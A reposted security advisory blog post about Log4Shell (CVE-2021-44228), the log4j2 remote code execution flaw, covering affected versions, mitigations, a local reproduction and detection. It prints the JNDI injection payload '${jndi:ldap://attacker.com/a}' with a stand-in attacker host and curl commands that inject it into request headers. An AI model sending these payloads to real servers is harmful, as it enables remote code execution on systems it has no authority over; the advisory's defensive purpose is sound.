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Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package

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Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package

December 9, 2021 · 7 min read
Free Wortley
CEO at LunaSec
Chris Thompson
Developer at Lunasec

Log4Shell Logo

Updated @ December 10th, 10am PST

A few hours ago, a 0-day exploit in the popular Java logging library log4j2 was discovered that results in Remote Code Execution (RCE) by logging a certain string.

Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe. We're calling it "Log4Shell" for short.

The 0-day was tweeted along with a POC posted on GitHub. Since this vulnerability is still very new, there isn't a CVE to track it yet. This has been published as CVE-2021-44228.

This post provides resources to help you understand the vulnerability and how to mitigate it for yourself.

Who is impacted?

Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Anybody using Apache Struts is likely vulnerable. We've seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach.

Many Open Source projects like the Minecraft server, Paper, have already begun patching their usage of log4j2.

Simply changing an iPhone's name has been shown to trigger the vulnerability in Apple's servers.

Updates (3 hours after posting): According to this blog post (see translation), JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load remote code using LDAP.

However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class org.apache.naming.factory.BeanFactory, present on Apache Tomcat servers, is discussed in this blog post.

Affected Apache log4j2 Versions

2.0 <= Apache log4j <= 2.14.1

Permanent Mitigation

Version 2.15.0 of log4j has been released without the vulnerability. log4j-core.jar is available on Maven Central here, with [release notes] and [log4j security announcements].

The release can also be downloaded from the Apache Log4j Download page.

Temporary Mitigation

As per this discussion on HackerNews:

The 'formatMsgNoLookups' property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].

If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:

  • Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109 or,

  • Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior.

How the exploit works

Exploit Requirements

  • A server with a vulnerable log4j version (listed above),
  • an endpoint with any protocol (HTTP, TCP, etc) that allows an attacker to send the exploit string,
  • and a log statement that logs out the string from that request.

Example Vulnerable Code

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
  public void handle(HttpExchange he) throws IOException {
    String userAgent = he.getRequestHeader("user-agent");
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:{}", userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();

Reproducing Locally

If you want to reproduce this vulnerability locally, you can refer to christophetd's vulnerable app.

In a terminal run:

docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

and in another:

curl -H 'X-Api-Version: ${jndi:ldap://}'

the logs should include an error message indicating that a remote lookup was attempted but failed:

2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://]. javax.naming.CommunicationException: [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

Exploit Steps

  1. Data from the User gets sent to the server (via any protocol),
  2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
  3. The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI),
  4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
  5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

Due to how common Java vulnerabilities such as these are, security researchers have created tools to easily exploit them. The marshalsec project is one of many that demonstrates generating an exploit payload that could be used for this vulnerability. You can refer to this malicious LDAP server for an example of exploitation.

How to identify if your server is vulnerable.

Using a DNS logger (such as dnslog.cn), you can generate a domain name and use this in your test payloads:

curl -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'

Refreshing the page will show DNS queries which identify hosts who have triggered the vulnerability.


While dnslog.cn has become popular for testing log4shell, we advise caution. When testing sensitive infrastructure, information sent to this site could be used by its owner to catalogue and later exploit it.

If you wish to test more discretely, you may setup your own authoritative DNS server for testing.

More information

You can follow us on Twitter where we'll continue to update you as information about the impact of this exploit becomes available.

For now, we're just publishing this to help raise awareness and get people patching it. Please tell any of your friends running Java software!

Limit your vulnerability to future attacks

LunaSec is an Open Source Data Security framework that isolates and protects sensitive data in web applications. It limits vulnerability to attacks like Log4Shell and can help protect against future 0-days, before they happen.

Editing this post

If you have any updates or edits you'd like to make, you can edit this post as Markdown on GitHub. And please throw us a Star !



  1. Updated the "Who is impacted?" section to include mitigating factor based on JDK version, but also suggest other exploitation methods are still prevalent.
  2. Named the vulnerability "LogJam", added CVE, and added link to release tags.
  3. Update mitigation steps with newer information.
  4. Removed the name "LogJam" because it's already been used. Using "Log4Shell" instead.
  5. Update that 2.15.0 is released.
  6. Added the MS Paint logo[4], and updated example code to be slightly more clear (it's not string concatenation).
  7. Reported on iPhones being affected by the vulnerability, and included local reproduction code + steps.
  8. Update social info.
  9. Updated example code to use Log4j2 syntax.


[1] https://issues.apache.org/jira/browse/LOG4J2-2109

[2] https://github.com/apache/logging-log4j2/pull/607/files

[3] https://issues.apache.org/jira/browse/LOG4J2-3198

[4] Kudos to @GossiTheDog for the MS Paint logo!

Also kudos to @80vul for tweeting about this.


Sursa: https://www.lunasec.io/docs/blog/log4j-zero-day/

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